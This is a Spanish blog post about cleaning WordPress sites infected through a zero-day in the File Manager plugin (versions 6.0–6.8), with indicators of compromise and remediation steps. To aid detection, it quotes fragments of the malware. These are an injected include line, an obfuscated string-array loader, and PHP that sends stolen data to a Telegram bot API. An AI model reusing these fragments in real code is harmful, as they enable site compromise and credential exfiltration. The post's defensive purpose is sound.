Limpia tu WordPress Infectado por Vulnerabilidad de día cero

Cuando una empresa de software saca al mercado un producto con alguna brecha de seguridad de la que no son conscientes, se denomina vulnerabilidad de día cero. Es lo que ha ocurrido con el Plugin para wordpress File Manager en su versión Pro y Gratis desde las versiones 6.0 a la 6.8.

Hace una semana publiqué este artículo con el título “Miles de sitios con WordPress infectados usando la API de Telegram“, porque fue el malware que encontré varias de las webs afectadas, ahora, una semana después y luego de andar indagando pude dar con el causante del problema. Incluso ya he tenido que limpiar 2 webs mas con otros tipos de malwares diferentes que fueron introducidos en las webs aprovechando la vulnerabilidad de file manager.

Una vulnerabilidad en File Manager 6.0 a 6.8

Los desarrolladores de File Manager han creado y lanzado un parche para la vulnerabilidad, y se le pide encarecidamente a los usuarios a actualizar el plugin lo antes posible. Los atacantes pueden aprovechar la falla para subir archivos y ejecutarlos en el servidor, así que bien pudo ser un malware de que usa la API de telegram como cualquier otro tipo de malware.

La falla de seguridad está presente en las versiones 6.0 a 6.8 del Administrador de archivos, por lo que los propietarios de sitios de WordPress deben actualizar el complemento a la versión 6.9 de inmediato para evitar posibles ataques que aprovechen la vulnerabilidad.

La falla de seguridad fue descubierta por primera vez por la empresa de seguridad Defiant, que registró ataques en más de 1.7 millones de sitios de WordPress que tenían instaladas versiones vulnerables del plugin File Manager . Sin embargo, la semana pasada, el número de sitios atacados ha aumentado a más de 2,6 millones.

Venta de Post-patrocinados en las webs afectadas

Unos colegas y yo habíamos notado que varios sitios web con WordPress se han visto afectados por un malware que tiene la habilidad de acceder a los nombres de usuario y contraseñas utilizando los datos de wp-admin para leer la base de datos.

Curiosamente hemos encontrado una web que vende enlaces patrocinados de estas web afectadas con el mismo tipo de malware. Obviamente estas ventas no son autorizadas por los propietarios de las páginas web.

Ya bien sea que el atacante esté utilizando la información extraída con el malware o el propietario de la web, lo cierto es que cualquiera con los datos de acceso del administrador podría fácilmente publicar y comprometer la información del sitio web.

Sospecho que han estado infectando webs para publicar y cobrar por los enlaces. Me gustaría que si alguien está presentando este problema de la venta de enlaces en su web, me deje un comentario indicando si su web se encontraba en este directorio.

Esta es la web de la venta de enlaces: https://prnews.io/sites/language/es/

Venta de Post-patrocinados en las webs afectadas

Pistas para encontrar el malware en tu web

El malware parece que infecta las carpetas de los plugins y el core de WordPress, incluida la última versión de WordPress (5.5).

  1. Deja archivos con nombres como: “whoqzrkl.php“, “HhGFXU.php” o similares, en las carpetas de WordPress.
  2. Infecta todos los index.php dentro de todas las carpetas de public_html con fragmentos de código como este:
    /*48e33*/
    @include "7ho5e/1re4es7pu2li3_h4ml7wp5in3lu\...
    /*48e33*/
  3. Infecta archivos del core de WordPress, al final de las sentencias IF colocando fragmentos como este:
    $dsdpgbs = '*t83pv-526fgx4ldk#oia7Hmyebnu\'_src';
    $lrbscxz = Array();$lrbscxz[] = $dsdpgbs[3].$dsdpgbs[26].$dsdpgbs[7]....
  4. Infecta archivos de Plugins y WordPress, al final de las sentencias IF colocando fragmentos como este:
    if (function_exists ("file_get_contents")) {
    	tratar{
    			file_get_contents ("https://api.telegram.org/xxxxxxxx:AAE1-wpQyYquqvB7wOeBzzmPafEp0d81e6c/sendMessage?chat_id=1110165405&text=". urlencode $
    			file_get_contents ("https://api.telegram.org/xxxxxxxxx:AAE1-wpQyYquqvB7wOeBzzmPafEp0d81e6c/sendMessage?chat_id=1110165405&text=". urlencode $
    	} captura (excepción $ e2) {}

    Dado que el código anterior no tiene hash ni está ofuscado, es extremadamente difícil escanearlo con un plugin de seguridad como wordfence o sucuri, por lo que se recomienda la intervención manual.

  5. Expresiones comunes que encontré en varias de las webs;
    • bajatax
    • api.telegram.org
    • $dsdpgbs
    • $lrbscxz
    • $zzpxmkz

Pasos para limpiar un sitio con WordPress Infectado

Antes de hacer cualquier cosa lo primero que debemos hacer es bloquear el acceso remoto a los atacantes. Claro podríamos analizar el log del servidor y determinar cual o cuales son las Ips de los atacantes y bloquearlas pero dudo que más del 0,001% de los que lean esta publicación sepan cómo hacerlo. Así que voy a dar la solución rápida y sencilla para bloquear el acceso externo.

Recomendado sólo para usuarios avanzados.

Paso 1: Bloquea todo el tráfico al servidor, excepto tú

Debemos evitar la comunicación entre los atacantes y nuestro sitio web.  Por lo que conviene colocar unas líneas en nuestro .htaccess para negar el acceso a cualquiera excepto nuestra IP.

  1. Visita cualesmiip.com y averigua tu dirección IP.
  2. Añade al inicio de tu .htaccess lo siguiente;
    deny from all
    allow from xxx.xxx.xxx.xxx # mi casa
    allow from xxx.xxx.xxx.xxx # Programador
    

    Reemplaza xxx.xxx.xxx.xxx por tu dirección IP. Puedes añadir más de una dirección, si estás trabajando con otras personas. De esta manera solo las IPs que tu indiques podrán acceder a tu página web.
    Bloquea-el-acceso

  3. Comprueba que tienes acceso al sitio web.
  4. Desactiva el WIFI de tu móvil (si lo estas usando), y acceder con tus datos móviles al sitio web.  Debería decirte que no tiene acceso con un mensaje en inglés que dice;
    Forbidden
    You don’t have permission to access on this server.
  5. SI UTILIZAS CLOUDFLARE: Activa el modo desarrollador y vacía la caché.

Listo ahora podemos empezar a trabajar en la solución. Estos pasos que acabo de mencionar los puedes aplicar para resolver cualquier tipo de problemas que tengas de infección o cuando estás por lanzar una nueva versión de tu web.

Paso 2: Reemplazar archivos infectados y borrar archivos extraños

Puede haber muchas maneras de hacer esto pero la más práctica en función resultados/tiempo, es la siguiente:

  1. Haz un respaldo completo de todos los archivos de tu sitio web y base de datos por si algo sale mal. No uses plugins, recuerda que tu web está infectada, el resultado es impredecible.
  2. Asegúrate de saber que versión de wordpress tienes instalada (anótalo por ahí).
  3. Borrar todo el core de wordpress (los archivos que son de wordpress), en líneas generales;
    Reemplazar archivos infectados
    Ojo de no borrar los archivos subidos por el usuario:
    no borrar los archivos subidos por el usuario
    Ni tampoco el archivo wp-config.php
  4. NOTA ADICIONAL: Es mejor Borrar Plugins y Temas (plantillas), para luego restaurarlos, pero eso va depender de cada caso.
    • Si tienes una lista de todos los plugins gratis y pagos, bórralos todos lo haz un respaldo.
    • Lo mismo con los temas, y temas hijos.
  5. Borra todos los archivos index.php que haya en cualquier carpeta.
  6. Revisa todas las carpetas y borrar cualquier carpeta vacía o que desconozcas su origen. En un blog encontré carpetas con permisos 777, eso quiere decir que cualquier puede escribir en ella, es decir cualquiera que conozca la existencia de la carpeta puede acceder desde internet y guardar archivos allí!.

NOTA: Ya que muchas personas han manifestado que esta es la parte más complicada de todo voy dejar un video tutorial explicando como se hace el paso 2 y 4, ya que es algo delicado y requiere tener ciertos cuidados. El video al final del post.

Paso 3: Analizar la Base de Datos

  1. Ahora que los archivos están limpios solo falta revisar la base de datos. Ve a PhpMyAdmin o utilizar el administrador de base de datos que prefieras. Abre la Base de Datos de tu sitio web.
  2. Selecciona todas las tablas y busca “<? php.
  3. Si no aparece nada has corrido con mucha suerte y tu base de datos está limpia. Caso contrario elimina cualquier código que no puedas leer fácilmente.

Paso 4: Restaurar WordPress

  1. ¿Anotaste la versión de wordpress? Bueno ahora ver a WordPress.org y descarga el paquete de instalación de esa versión. Descomprime el zip en el servidor y vuelve a reestablecer el core de wordpress.
  2. Logueate como administrador e instala y activa el plugin: Anti-Malware from GOTMLS.NET
  3. Antes de iniciar un análisis tienes que registrarte y bajar las actualizaciones. Este plugin es capaz de detectar inyecciones de código en la base de datos.
  4. Una vez finalizado cambia las contraseñas de todos los usuarios, y la contraseña de la base de datos.
  5. Si todo está bien, ahora ya puedes quitar las líneas que añadimos en el .htaccess y empezar a recibir visitas de nuevo.

Los pasos básicos para resolver esto son reemplazar todos los archivos principales de wordpress con carpetas limpias wp-admin y wp-includes y una nueva reinstalación de los plugins.

Paso 4: Opcional para el SEO

Es posible que también empieces recibir un montón de backlinks tóxicos (SEO Negativo) hacia tu web, revisa y desautoriza todos aquellos sitios web que puedan dañar la reputación de tu página. Desautoriza el dominio prnews.io.

Asegúrate siempre de realizar una copia de seguridad antes de intentar esto.

Por último, se recomienda verificar los nombres de usuario de WordPress recién creados que también podrían inyectarse en la base de datos.

Si no estoy es muy complicado para tí busca ayuda. Y si no tienes a quien acudir puedes contactarme y haré lo posible para ayudarte a resolverlo.

Video explicativo al detalle del paso 2 y 4

Si no quieres perderte esta y otras actualizaciones, puedes seguirme en mis redes sociales.

Facebook | Twitter | LinkedIn

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Do NOT follow this link or you will be banned from the site!